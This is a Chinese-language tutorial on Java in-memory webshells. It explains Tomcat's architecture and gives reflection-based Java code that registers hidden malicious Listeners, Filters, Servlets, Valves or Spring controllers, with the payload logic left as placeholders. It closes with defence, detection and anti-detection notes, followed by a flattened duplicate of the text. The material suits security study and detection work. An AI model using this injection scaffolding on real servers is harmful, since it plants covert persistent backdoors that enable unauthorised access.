深入浅出内存马
字数 1864 2025-08-24 16:48:16

深入浅出内存马技术详解

一、Tomcat核心架构解析

1.1 Tomcat容器层级结构

Tomcat采用分层容器架构,从外到内依次为:

  1. Engine容器:顶级容器,代表整个Catalina引擎
  2. Host容器:虚拟主机容器,一个Engine可包含多个Host
  3. Context容器:应用容器,一个Host可包含多个Context
  4. Wrapper容器:Servlet包装容器,一个Context可包含多个Wrapper

关系特点:

  • 上层容器与下层容器为父子关系
  • Host没有父容器,Wrapper没有子容器
  • 默认实现类:StandardEngine、StandardHost、StandardContext、StandardWrapper

1.2 Pipeline与Valve机制

Pipeline(流水线)

  • 每个容器都有自己的Pipeline,代表任务处理管道
  • 标准实现为StandardPipeline

Valve(阀)

  • Pipeline上的具体处理单元
  • 不同容器有各自的Valve实现(如StandardWrapperValve)

1.3 核心组件协作流程

  1. StandardWrapper工作流程

    • 主要职责:加载Servlet类并分配实例
    • StandardWrapperValve通过allocate()获取Servlet实例
    • 调用Servlet的service()方法处理请求
  2. 调用链示例

    Container → Pipeline → Valve → Container → Pipeline → Valve
    

二、内存马技术实现详解

2.1 监听器型内存马

实现原理

  1. 通过request反射获取StandardContext
  2. 创建自定义ServletRequestListener
  3. 将监听器添加到Context的applicationEventListenersList

关键代码

Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request)f.get(request);
StandardContext context = (StandardContext)req.getContext();

ServletRequestListener listener = new ServletRequestListener() {
    public void requestInitialized(ServletRequestEvent sre) {
        // 恶意代码逻辑
    }
    public void requestDestroyed(ServletRequestEvent sre) {}
};

context.addApplicationEventListener(listener);

2.2 过滤器型内存马

实现步骤

  1. 创建恶意Filter类
  2. 构造FilterDef并设置Filter信息
  3. 通过反射获取filterConfigs Map
  4. 创建ApplicationFilterConfig并加入Map
  5. 创建FilterMap并设置URL映射
  6. 将FilterMap添加到Context

关键代码

// 1. 创建Filter
Filter filter = new Filter() {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
        // 恶意逻辑
    }
    // 其他必要方法实现...
};

// 2. 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("maliciousFilter");
context.addFilterDef(filterDef);

// 3. 获取filterConfigs并添加配置
Field configsField = context.getClass().getDeclaredField("filterConfigs");
Map filterConfigs = (Map)configsField.get(context);
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(context, filterDef);
filterConfigs.put("maliciousFilter", filterConfig);

// 4. 创建并添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("maliciousFilter");
context.addFilterMap(filterMap);

2.3 Servlet型内存马

实现步骤

  1. 创建恶意Servlet类
  2. 通过Context创建Wrapper
  3. 设置Wrapper属性(servlet、类名等)
  4. 将Wrapper添加为Context子容器
  5. 添加Servlet映射

关键代码

Servlet servlet = new Servlet() {
    public void service(ServletRequest req, ServletResponse res) {
        // 恶意逻辑
    }
    // 其他必要方法实现...
};

Wrapper wrapper = context.createWrapper();
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setName("maliciousServlet");
context.addChild(wrapper);
context.addServletMappingDecoded("/*", "maliciousServlet");

2.4 Valve型内存马

实现步骤

  1. 创建自定义Valve实现
  2. 获取Context的Pipeline
  3. 将Valve添加到Pipeline

关键代码

Valve valve = new Valve() {
    public void invoke(Request request, Response response) {
        // 恶意逻辑
    }
    // 其他必要方法实现...
};

context.getPipeline().addValve(valve);

三、高级利用技术

3.1 无文件落地注入

实现思路

  1. 将恶意类转化为字节数组
  2. 利用TemplatesImpl机制加载字节码
  3. 通过反射机制获取request/context

关键点

  • 需要找到合适的request获取方式
  • 通常从ApplicationFilterChain的lastServicedRequest获取

3.2 Spring内存马

实现原理

  1. 获取WebApplicationContext
  2. 获取RequestMappingHandlerMapping
  3. 通过反射注册恶意Controller

关键代码

WebApplicationContext context = (WebApplicationContext)RequestContextHolder
    .currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

Method method = Evil.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/evil");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);

mappingHandlerMapping.registerMapping(info, new Evil(), method);

四、防御与检测

4.1 防御措施

  1. 禁用不必要的反射功能
  2. 严格控制Filter/Servlet/Listener的注册
  3. 使用安全管理器限制敏感操作
  4. 定期检查运行时的组件注册情况

4.2 检测方法

  1. 对比运行时组件与配置文件差异
  2. 检查不认识的Filter/Valve/Listener
  3. 监控异常的类加载行为
  4. 使用内存马检测工具扫描

五、技术演进方向

  1. 跨中间件利用:从Tomcat扩展到Spring Boot、Nacos等框架
  2. 隐蔽性增强:利用合法组件隐藏恶意行为
  3. 持久化技术:结合其他持久化手段实现复活
  4. 对抗检测:采用反检测技术绕过安全工具

六、学习建议

  1. 基础准备

    • 深入理解Tomcat架构设计
    • 掌握Java反射机制
    • 熟悉Servlet规范
  2. 实践方法

    • 搭建调试环境(Tomcat 9.0.x + JDK 8)
    • 从简单类型开始逐步实现
    • 结合调试理解调用流程
  3. 进阶路径

    • 研究不同版本Tomcat的实现差异
    • 探索其他中间件的内存马技术
    • 分析真实案例的攻击手法

通过系统学习内存马技术,不仅可以提升攻防能力,更能深入理解Java Web容器的运行机制,为安全研究和漏洞挖掘打下坚实基础。

深入浅出内存马技术详解 一、Tomcat核心架构解析 1.1 Tomcat容器层级结构 Tomcat采用分层容器架构,从外到内依次为: Engine容器 :顶级容器,代表整个Catalina引擎 Host容器 :虚拟主机容器,一个Engine可包含多个Host Context容器 :应用容器,一个Host可包含多个Context Wrapper容器 :Servlet包装容器,一个Context可包含多个Wrapper 关系特点: 上层容器与下层容器为父子关系 Host没有父容器,Wrapper没有子容器 默认实现类:StandardEngine、StandardHost、StandardContext、StandardWrapper 1.2 Pipeline与Valve机制 Pipeline(流水线) : 每个容器都有自己的Pipeline,代表任务处理管道 标准实现为StandardPipeline Valve(阀) : Pipeline上的具体处理单元 不同容器有各自的Valve实现(如StandardWrapperValve) 1.3 核心组件协作流程 StandardWrapper工作流程 : 主要职责:加载Servlet类并分配实例 StandardWrapperValve通过allocate()获取Servlet实例 调用Servlet的service()方法处理请求 调用链示例 : 二、内存马技术实现详解 2.1 监听器型内存马 实现原理 : 通过request反射获取StandardContext 创建自定义ServletRequestListener 将监听器添加到Context的applicationEventListenersList 关键代码 : 2.2 过滤器型内存马 实现步骤 : 创建恶意Filter类 构造FilterDef并设置Filter信息 通过反射获取filterConfigs Map 创建ApplicationFilterConfig并加入Map 创建FilterMap并设置URL映射 将FilterMap添加到Context 关键代码 : 2.3 Servlet型内存马 实现步骤 : 创建恶意Servlet类 通过Context创建Wrapper 设置Wrapper属性(servlet、类名等) 将Wrapper添加为Context子容器 添加Servlet映射 关键代码 : 2.4 Valve型内存马 实现步骤 : 创建自定义Valve实现 获取Context的Pipeline 将Valve添加到Pipeline 关键代码 : 三、高级利用技术 3.1 无文件落地注入 实现思路 : 将恶意类转化为字节数组 利用TemplatesImpl机制加载字节码 通过反射机制获取request/context 关键点 : 需要找到合适的request获取方式 通常从ApplicationFilterChain的lastServicedRequest获取 3.2 Spring内存马 实现原理 : 获取WebApplicationContext 获取RequestMappingHandlerMapping 通过反射注册恶意Controller 关键代码 : 四、防御与检测 4.1 防御措施 禁用不必要的反射功能 严格控制Filter/Servlet/Listener的注册 使用安全管理器限制敏感操作 定期检查运行时的组件注册情况 4.2 检测方法 对比运行时组件与配置文件差异 检查不认识的Filter/Valve/Listener 监控异常的类加载行为 使用内存马检测工具扫描 五、技术演进方向 跨中间件利用 :从Tomcat扩展到Spring Boot、Nacos等框架 隐蔽性增强 :利用合法组件隐藏恶意行为 持久化技术 :结合其他持久化手段实现复活 对抗检测 :采用反检测技术绕过安全工具 六、学习建议 基础准备 : 深入理解Tomcat架构设计 掌握Java反射机制 熟悉Servlet规范 实践方法 : 搭建调试环境(Tomcat 9.0.x + JDK 8) 从简单类型开始逐步实现 结合调试理解调用流程 进阶路径 : 研究不同版本Tomcat的实现差异 探索其他中间件的内存马技术 分析真实案例的攻击手法 通过系统学习内存马技术,不仅可以提升攻防能力,更能深入理解Java Web容器的运行机制,为安全研究和漏洞挖掘打下坚实基础。